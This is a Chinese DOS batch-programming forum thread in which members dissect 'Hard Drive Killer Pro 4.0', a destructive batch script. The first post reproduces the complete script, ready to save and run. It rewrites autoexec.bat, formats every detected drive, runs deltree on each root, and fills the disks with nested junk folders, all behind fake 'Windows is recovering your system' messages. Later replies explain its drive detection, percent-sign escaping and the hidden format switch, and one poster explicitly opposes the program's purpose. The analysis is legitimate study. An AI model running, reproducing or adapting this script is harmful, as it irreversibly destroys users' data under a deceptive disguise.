中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » (已结)关于“硬盘杀手”批处理的讨论
« [1] [2] [3] »
作者:
标题: (已结)关于“硬盘杀手”批处理的讨论 上一主题 | 下一主题
神仙贝贝
初级用户




积分 167
发帖 16
注册 2004-7-6
状态 离线
『楼 主』:  (已结)关于“硬盘杀手”批处理的讨论

谢谢大家了 :),希望有人能写一份完整的分析与注释出来  




.Hard Drive Killer Pro Version 4.0
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

[ Last edited by willsort on 2005-8-19 at 16:31 ]

2004-7-18 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
wangsea
中级用户




积分 445
发帖 110
注册 2004-5-28
状态 离线
『第 2 楼』:  

你先用了俺再说

2004-7-18 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
神仙贝贝
初级用户




积分 167
发帖 16
注册 2004-7-6
状态 离线
『第 3 楼』:  

晕拉我实在是看不清晰,一会儿call着一会儿call那,看的我眼花缭乱

尤其是一大堆%%%%号的地方看不懂,希望给予帮助

2004-7-19 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
Climbing
铂金会员

网络独行侠


积分 6962
发帖 2753
注册 2003-4-16
来自 河北保定
状态 离线
『第 4 楼』:  

自己将批处理分解开,一条条命令执行一下就明白什么意思了(最好在虚拟机中试,呵呵)。



偶只喜欢回答那些标题和描述都很清晰的帖子!
如想解决问题,请认真学习“这个帖子”和“这个帖子”并努力遵守,如果可能,请告诉更多的人!
2004-7-19 00:00
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (653668)  编辑帖子  回复  引用回复
wangsea
中级用户




积分 445
发帖 110
注册 2004-5-28
状态 离线
『第 5 楼』:  

提示:先从批处理中产生另一个批处理并调用从而获得硬盘分区,然后开格,为使程序有通用性,分别用format与deltree各操作一次。并留下一个操作标志文件:
ass_hole.txt




2004-7-19 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
Climbing
铂金会员

网络独行侠


积分 6962
发帖 2753
注册 2003-4-16
来自 河北保定
状态 离线
『第 6 楼』:  

这个程序应该是运行在Win9x的环境,在NT/2k/xp/2k3下应该不能正常运行。

比较复杂的是获取系统中可用的盘符那一部分,我看不明白。连作者都说除了一个叫Tom Lavedas能够明白外,恐怕batch高手都不明白。看来要有请Willsort兄出马给解释一下了。

其它的都不是很复杂,分段执行一下即可。



偶只喜欢回答那些标题和描述都很清晰的帖子!
如想解决问题,请认真学习“这个帖子”和“这个帖子”并努力遵守,如果可能,请告诉更多的人!
2004-7-19 00:00
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (653668)  编辑帖子  回复  引用回复
wangsea
中级用户




积分 445
发帖 110
注册 2004-5-28
状态 离线
『第 7 楼』:  

我大概分析了一下,不当之处请兄弟们指证:

精简部份如下:

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

------------------------------------------------------------------
本段程序产生批处理drivechk.bat,内容是:
  @echo off
  %comspec% /f /c vol %1: | find "Vol"  

  if errorlevel 1 goto enddc

{t}.bat内容:
  @prompt %%comspec%% /f /c vol %%1: $b find "Vol"
  作用:将语句%comspec% /f /c vol %1: | find "Vol"写入drivechk.bat

------------------------------------------------------------------

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

echo :enddc >>drivechk.bat

-----------------------------------------------------------------
与上面类似,继续写drivechk.bat文件,直至完成,分析见最后
----------------------------------------------------------------
:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

---------------------------------------------------------------
关键的部份来啦:
  for %%a in (%alldrive%) do call drivechk.bat %%a
记得吗?程序的开如部分有一个语句:
  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
这条语句就是分别将以上字符作为drivechk.bat的参数来执行,返回可用驱动器的部分当然就在drivechk.bat
中了。下面我们来分析drivechk.bat,先看一下生成的drivechk.bat内容:
@echo off
%comspec% /f /c vol %1: | find "Vol"  

if errorlevel 1 goto enddc
%comspec% /f /c dir %1:.\/ad/w/-p | find "bytes"  

if errorlevel 1 goto enddc
dir %1:.\/ad/w/-p | find " 0 bytes free"  

if errorlevel 1 set drive=%drive% %1
:enddc

共四个部份:
1:过滤不存在的驱动器符
语句:%comspec% /f /c vol c: | find "Vol"

   通过搜索驱动器的卷标来判断驱动器存在与否

2:过滤不必要做格式化空盘的盘符
语句:%comspec% /f /c dir c:.\/ad/w/-p | find "bytes"  

    通过搜索byte来得到剩余磁盘空间,这么做是有必要的,因为用户可能存在一个没有使用的空分区,没必要格式化它。

3:过滤光盘盘符

语句:dir c:.\/ad/w/-p | find " 0 bytes free"

     因为用户可能在光驱中放入了一张空盘,上面的判断会通过。

     注意,前面都是用if errorlevel 1退出,这里是实体硬盘没有返回值errorlevel为1,所以4中就设置盘符了。

4:将通过检验的盘符写入环境变量drive中

  if errorlevel 1 set drive=%drive% %1

-------------------------------------------------------------------------------------
分析完啦,不过我还是有一个疑问:

1.程序总是使用format /autoSample来格盘,这个autosample是哪个系统的format命令才有的?
2.程序中还有一个部份:for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
这个attrib带的/s参数是哪个系统的attrib中有的呢?

2004-7-19 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
Climbing
铂金会员

网络独行侠


积分 6962
发帖 2753
注册 2003-4-16
来自 河北保定
状态 离线
『第 8 楼』:  

佩服,分析的很清楚。我也搞不懂它里面的一些命令是怎么运行的。或许是隐藏参数。



偶只喜欢回答那些标题和描述都很清晰的帖子!
如想解决问题,请认真学习“这个帖子”和“这个帖子”并努力遵守,如果可能,请告诉更多的人!
2004-7-20 00:00
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (653668)  编辑帖子  回复  引用回复
神仙贝贝
初级用户




积分 167
发帖 16
注册 2004-7-6
状态 离线
『第 9 楼』:  

不好意思,还有不明白的地方就是%%%%%%(为什么几个%号连在了一起?)比如:prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
能给具体解释一下吗,谢谢楼上的朋友,嘎嘎 :P

2004-7-21 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
wangsea
中级用户




积分 445
发帖 110
注册 2004-5-28
状态 离线
『第 10 楼』:  

%在dos看来是参数或引用参数,要输出%commspec%当然这么用了。因为程序做了两次参数替换,一次是prompt中的替换,一次是call {t}.bat中的替换,每次要减去一对%号,所以%%%%comspec%%%% 用了三对,减出中间变换时用掉的两对,输出到drivechk.bat中就只有一对%号了。%%%%1的情况与此类似。

2004-7-21 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
神仙贝贝
初级用户




积分 167
发帖 16
注册 2004-7-6
状态 离线
『第 11 楼』:  

明白点了,能在举个简单的例子吗   

2004-7-22 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
zhri
高级用户

zhri


积分 665
发帖 153
注册 2004-2-23
状态 离线
『第 12 楼』:  

好经典的东西。下载下来收藏哦。[em02]

2004-7-22 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
Climbing
铂金会员

网络独行侠


积分 6962
发帖 2753
注册 2003-4-16
来自 河北保定
状态 离线
『第 13 楼』:  

刚才在google中搜索了一下,果然找到了这个批处理的原版,楼主贴的好象不是原版的。原版可以在这里下载到:http://www.hackology.com/programs/hdkp/ginfo.shtml1、attrib命令确实是有一个/S参数的,跟dir中的/S参数是一个意思,ms-dos 7.10(即98的DOS)后面的版本都有这个参数,至于以前的版本,我没有系统已经无法查考了。下面是Win2003中的attrib /?。> attrib /?
显示或更改文件属性。ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [
/D]]  +   设置属性。
  -   清除属性。
  R   只读文件属性。
  A   存档文件属性。
  S   系统文件属性。
  H   隐藏文件属性。
  [drive:][path][filename]
      指定要处理的文件属性。
  /S  处理当前文件夹及其子文件夹中的匹配文件。
  /D  也处理文件夹。2、format命令的参数原版是这样的:format /q /u /autotest,而不是什么/autoSample。这应该是一个隐藏参数。因为从/?中查不出来。再google,找到下面两个网站,我所料果然不错:http://www.pcdog.com/info/322.htm
http://study.99net.net/study/system/dos/1084945101.html



偶只喜欢回答那些标题和描述都很清晰的帖子!
如想解决问题,请认真学习“这个帖子”和“这个帖子”并努力遵守,如果可能,请告诉更多的人!
2004-7-22 00:00
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (653668)  编辑帖子  回复  引用回复
神仙贝贝
初级用户




积分 167
发帖 16
注册 2004-7-6
状态 离线
『第 14 楼』:  

太感谢拉             [em01]

2004-7-22 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
willsort
元老会员

Batchinger


积分 4432
发帖 1512
注册 2002-10-18
状态 离线
『第 15 楼』:  

关于 HDKP 的几点技术探讨
============================================================================

作者:Will Sort
日期:2005-04-22
版本:1-20050505
关键词:HDKP, %comspec%, 命令解释器, drive check, 磁盘检查, 命令行循环
摘要:对 HDKP 磁盘检查和磁盘遍历的在算法和细节上的相关讨论
----------------------------------------------------------------------------

背景

全名:Hard Drive Killer Pro
版本:通行版本为 4.0(包括 bat 版和 bat 压缩成的 exe 版),最新版本 5.0beta
作者:Munga Bunga(澳大利亚)
日期:4.0 版最晚成于2001年5月
平台:据原作者声称,此程序可以工作于 DOS/Win3.x/9x/NT/2000 等系统中,适用于
  世界上 90% 的电脑,彼时还没有 XP 和 2003
用途:毁掉或者说“清洗”电脑上所有硬盘、软盘和闪盘的所有数据。当然,因其历史
  悠久,当前流行的大部分杀毒软件都可将它杀除。
----------------------------------------------------------------------------

序言

  我最早在《批处理简单教程》中看到这篇转贴的批处理程序,教程作者在精彩程序
示例中将此程序列为压轴之作,当时因为我对一切带有所谓 Killer/Hacking 等字眼的
程序都抱有相当的敌意,所以当时只是草草瞥了两眼,并没有细看。后来,我又在“联
合 DOS论坛”中见到“神仙贝贝”兄发出的帖子中[01]转贴了这个程序,不过基于类似
的原因,我仍然只是翻看了一下有无值得留意的回复,随后顺手关闭了它,以至于后来
Climbing 兄的邀请也没有看到。

  4 月中旬我开始翻看“联合 DOS论坛”中关于批处理的旧帖,数次在 Climbing 兄
被置顶的精华帖索引[02]中看到“仔细学学”的建议,终于又点开了“神仙贝贝”的老
帖,此时早已有 wangsea兄将注释的工作漂亮的完成,我的任务就只是简单的享受他人
的劳动果实了。

  但是,遗憾的是,这篇程序里出现了太多的问题和漏洞。有些问题,比如那个无效
的格式化开关 /autoSample 和 :Sampledrv,显然都并非原作者的笔误,而像有心人或
者有心的程序特意修改的;另外一些问题,比如 dedecated 和 elapse,就不知是澳大
利亚的方言还是作者的无心之失了;剩下的一下问题,则可以肯定主要的责任人就是作
者本人。

  当然,为了讨论的公允和普适,我找到了这个程序的原始链接[03]并试图下载,可
是下载失败,我又尝试了其他几个方法,但找到的版本都与“神仙贝贝”的并无不同。
最后,我决定仍然采用后者作为讨论的基础,所以我讨论的只是代码的得失,而非作者
的得失。
----------------------------------------------------------------------------

正文

  无可否认的是,程序中确实使用了一些高级技巧,这些技巧最主要的体现就是磁盘
检查程序(drivechk.bat),但需要注意的是, drivechk.bat 并非作者本人原创,它
的原作者是 Tom Lavedas[04],这也正是作者“Except for”的原因。但是,可能作者
并没有透彻理解这个程序,只是进行了一些简单的改动,也可能作者引用的是 Lavedas
早期的程序,所以这段代码存在着一些问题。

  下面是程序中动态生成 drivechk.bat 的一段

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

  此段的目的是将下面的代码写入 drivechk.bat 之中。其过程 wangsea 兄已经分
析过,我不再细述。

%comspec% /f /c vol %1: | find "Vol" > nul
if errorlevel 1 goto enddc

  第一,“echo @echo off >drivechk.bat”一句不是必须的。因为 drivechk.bat
是一个动态生成的被调程序,它在被 call 时,会继承主调程序的 echo off 状态。

  只有用 %comspec% /c 调用时,“echo off”才可能被需要,因为 %comspec% /c
会创建一层新的命令解释环境,在这个新环境中 echo 状态会被复位。也正因此,程序
才能通过 %comspec% /e:2048 /c {t}.bat 获得被修改的命令行提示符,它就是要写入
drivechk.bat 的语句。

  第二,第二行中的“%%%%comspec%%%%”完全可以改为“%comspec%”。“%%%%”的
作用是延迟 %comspec% 的替换,使得 %comspec% 直到执行 drivechk.bat 时才被替换
为命令解释器的路径;但是这样是没有必要的,因为被调的 drivechk.bat 和主调程序
必定是运行在相同的环境下,所以替换的迟或早并没有什么分别。

  而且,我建议直接将 %comspec% 改为 command 。因为在 NT 类的命令行环境中,
%comspec% 通常指向 cmd.exe ,它与 command.com 有很多不同,比如在非英文系统中
的代码页不同,导致 find "Vol" /c 失败。而在早期的 MS-DOS 环境中, %comspec%
也有可能指向 NDOS 等非标准的命令解释器,它们的开关参数以及执行输出都可能导致
%comspec% 一句失败。而直接使用 command 最大的问题,就是它不处于当前路径或者
%Path% 路径中,但那几乎是不可能的。

  第三,“find "Vol" > nul”应该是“find "Vol" $g nul”,否则“> nul”将不
能写入 drivechk.bat ,从而可能在调用 drivechk 时造成 find 的消息“泄露”;而
在程序调用时,作者试图通过“call drivechk.bat %%a >nul”来避免了这个隐患,但
是他可能不清楚这个“>nul”对于 call 批处理是无效的。

  只有通过 %comspec% /c 来调用批处理,其输出才能被重定向或被管道传递。但即
便如此,执行 vol %1:可能有一些输出仍然无法被屏蔽,比如访问了不存在或未准备的
盘所产生的错误消息,因为它所使用的是错误设备输出,而并非标准控制台,所以不通
过管道被传递。解决办法是在 %comspec% /c 的前后加上一对 ctty nul 和 ctty con
语句。但是, ctty 只在 MS-DOS 和 9x 命令行被支持,在 XP 等 NT 类命令行 ctty
被取消了。在此类环境中,只能通过 2> nul 重定向错误消息。

  第四,“if errorlevel 1 goto enddc”忽略了很多问题。在 MS-DOS 或者 9x 命
令行中用 vol 访问存在但未准备好的盘,会有 Vol 信息输出,但程序此时并不会跳转
到结束;另外,就是可能访问到只读性的光盘或闪盘,也会有 Vol 信息输出。

  所以,程序为了补救者两个缺陷,才在后面使用了 dir | find "bytes" 检测准备
的准备情况,用 dir | find "0 bytes" 再检查只读的光盘。但被锁定的闪盘仍然无法
正确判断,可能在程序完成时,闪盘的锁定功能尚不常见吧。

  检测磁盘可读的语句也可以替代以 dir %1:\nul|find "\" ,而检查磁盘可写可以
使用 copy /y _writed_.tag %1: 和 if exist %1:_writed_.tag 来判断[05],当然这
些语句仍然都需要在 %comspec% /f/c 的外壳中运行。但是,仍然有些我们想不到的问
题,比如我在虚拟PC的共享盘中只能创建和修改文件,但却不能删除它。其他诸如网络
盘、内存虚拟盘等等,我没有对它们做更为细致的讨论。在这些细节上,专业程序也许
做得更好也不一定。

  第五,程序中还有一个较简单的技巧,就是在 :Sampledrv 中磁盘的遍历。对于使
用 For 语句进行循环式的遍历,可能是批处理编程的惯例,然而这个惯例在某些情况
下可能并不是最优的。

  事实上,在很早的时期,就有人使用更为灵活的命令行循环来处理很多 For难以解
决的问题。比如在 do 后面有多条语句时,我们必须将这些语句放在批处理中被 call
调用,但是 for的特性决定了它运行时的多次重复调用,而命令行循环的优越性在于它
只需要 call 一次,剩下的只是程序内部的 shift和 goto 。这节省了相当多的性能,
因为 call 远比 shift和 goto 占用更多的性能资源。

  第六,我们讨论 drivechk.bat 动态生成的必要性。这里并不是说 drivechk.bat
的必要性,而是说动态生成的必要性。我们可以猜测,程序之所以要费尽周章地动态生
成这段代码,而不是把它静态地嵌入在主程序中,其主要目的是可以利用它进行磁盘检
查的循环遍历。然而,可能作者并没有注意或者意识到,使用静态代码也可以完成同样
的任务。这意味着整个程序在写入 drivechk.bat 上所绕的所有的弯路都是不必要的,
我们完全可以找到一条更直接简短的道路。

  将程序所需要多次利用的代码作为一个模块嵌入到自身之中,然后再反复调用这个
模块即可达成与调用动态代码相似的效果。模块的通俗化理解就是以一个标签起始,以
goto end结束的一整段代码,而调用这个模块之需要配合使用 call %0 : lablename
和 if "%1"==":" goto %2 即可。

主调程序的结构
...
:: Call 型调用自身
call %0 : labelname
...
:: Goto 型调用自身
%0 : lablename
...
:: Call 型调用其他Bat
call bat_name : labelname
...
:: Goto 型调用其他Bat
bat_name : lablename
...
被调程序(可能也是主调程序)的结构
@echo off
if "%1"==":" goto %2
...
:labelname
:: 模块的代码段
...
goto end
...
:end
----------------------------------------------------------------------------

结语

  我写作此文的目的,正如我在摘要中所提到的,是试图探讨关于磁盘检查和命令行
循环的一些技术特性和细节,而并非是为 HDKP 或者类似的非善意程序提供技术支持。
关于 HDKP 的编写目的,我个人仍然持反对态度。此程序大概正如作者所希望的,只有
对“a very special person that does not want to be named”才具有实用性。对于
我来说,它仅仅是一个技术和构思的不完善结合体。

  我知道早已经有专业的第三方程序可以实现磁盘检查的功能,比如 dready.com 。
但是,作为批处理编程的一种技术门类,讨论它仍然是有益的,它可以帮助我们更加深
刻地理解系统工作原理,并且熟悉我们所工作的环境。另外,作为批处理来说,不依赖
于第三方程序,仍然有着相当的优势和价值。
----------------------------------------------------------------------------

参考:

01. 希望有哪位朋友能给这个批处理文件写一份完整的注释
  http://www.cn-dos.net/dosbbs/dispbbs.asp?boardid=9&id=12892

02. DOS联盟论坛解答室精华帖索引
  http://bbs.cn-dos.net/dispbbs.asp?boardid=9&id=13226

03. Hard Drive Killer Pro (HDKP) - The Hackology Network
  http://www.hackology.com/programs/hdkp/ginfo.shtml

04. Safely Testing the Status of All Types of Drives - Tom Lavedas
  http://www.pressroom.com/~tglbatch/testdrv.html

05. Avoiding Drive Not Ready - alt.msdos.batch
  http://groups-beta.google.com/group/alt.msdos.batch/browse_thread/thread/
    df0213182e13de5b/fa2abe726f972567?q=%22:_end%22+label+name&rnum=2&hl=en
=============================================================================


[ Last edited by willsort on 2005-8-19 at 16:25 ]

   此帖被 +4 点积分    点击查看详情   
评分人:【 bob1989 分数: +2  时间:2007-1-25 01:02
评分人:【 tashaxin 分数: +2  时间:2007-3-25 01:23




※ Batchinger 致 Bat Fans:请访问 [讨论]批处理编程的异类 ,欢迎交流与共享批处理编程心得!
2005-6-22 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
« [1] [2] [3] »
请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: